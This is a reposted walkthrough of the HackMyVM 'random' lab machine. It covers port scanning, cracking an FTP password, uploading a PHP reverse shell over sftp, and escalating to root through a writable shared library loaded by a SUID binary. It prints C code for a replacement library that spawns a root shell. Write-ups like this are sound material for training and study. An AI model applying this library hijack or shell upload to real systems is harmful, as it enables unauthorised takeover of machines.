当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
- [symfony/finder]最好用的文件操作库
- web渗透必玩的靶场——DVWA靶场 1(centos8.2+phpstudy安装环境)
- (8) requests, os, sys, re, _thread
- [trendsoft/capital]金额转中文大写库
- 4.PHP数组与数组排序
- The focus of the Dom implementation input triggers
- What are the killer super powerful frameworks or libraries or applications for PHP?
- 批量替换文件字体,简体-&gt;繁体
- PHP 发起支付宝支付时 订单信息乱码解决
- Xiaoyao multi-open emulator ADB driver connection
猜你喜欢

Orasi: 1 vulnhub walkthrough

(2) Thinkphp6 template engine ** tag

(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合

(1) introduction to Thinkphp6, installation view, template rendering, variable assignment

TCP通信程序

解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
![[league/climate]一个功能健全的命令行功能操作库](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate]一个功能健全的命令行功能操作库

New usage of string variable parsing in PHP8.2

PHP8.2 version release administrator and release plan

12. What is JS
随机推荐
easyswoole uses redis to perform geoRadiusByMember Count invalid fix
Alibaba Cloud MySQL 5.7 installation and some major problems (total)
逍遥多开模拟器ADB驱动连接
DVWA靶机安装教程
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
IP门禁:手把手教你用PHP实现一个IP防火墙
Using PHPMailer send mail
Introduction to PHP (self-study notes)
2.PHP变量、输出、EOF、条件语句
(5) Modules and packages, encoding formats, file operations, directory operations
Alfa: 1 vulnhub walkthrough
PHP图片压缩到指定的大小
[sebastian/diff]一个比较两段文本的历史变化扩展库
CTF入门之md5
3.PHP数据类型、常量、字符串和运算符
Stable and easy-to-use short connection generation platform, supporting API batch generation
[league/flysystem] An elegant and highly supported file operation interface
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
QR code generation API interface, which can be directly connected as an A tag
JS objects, functions and scopes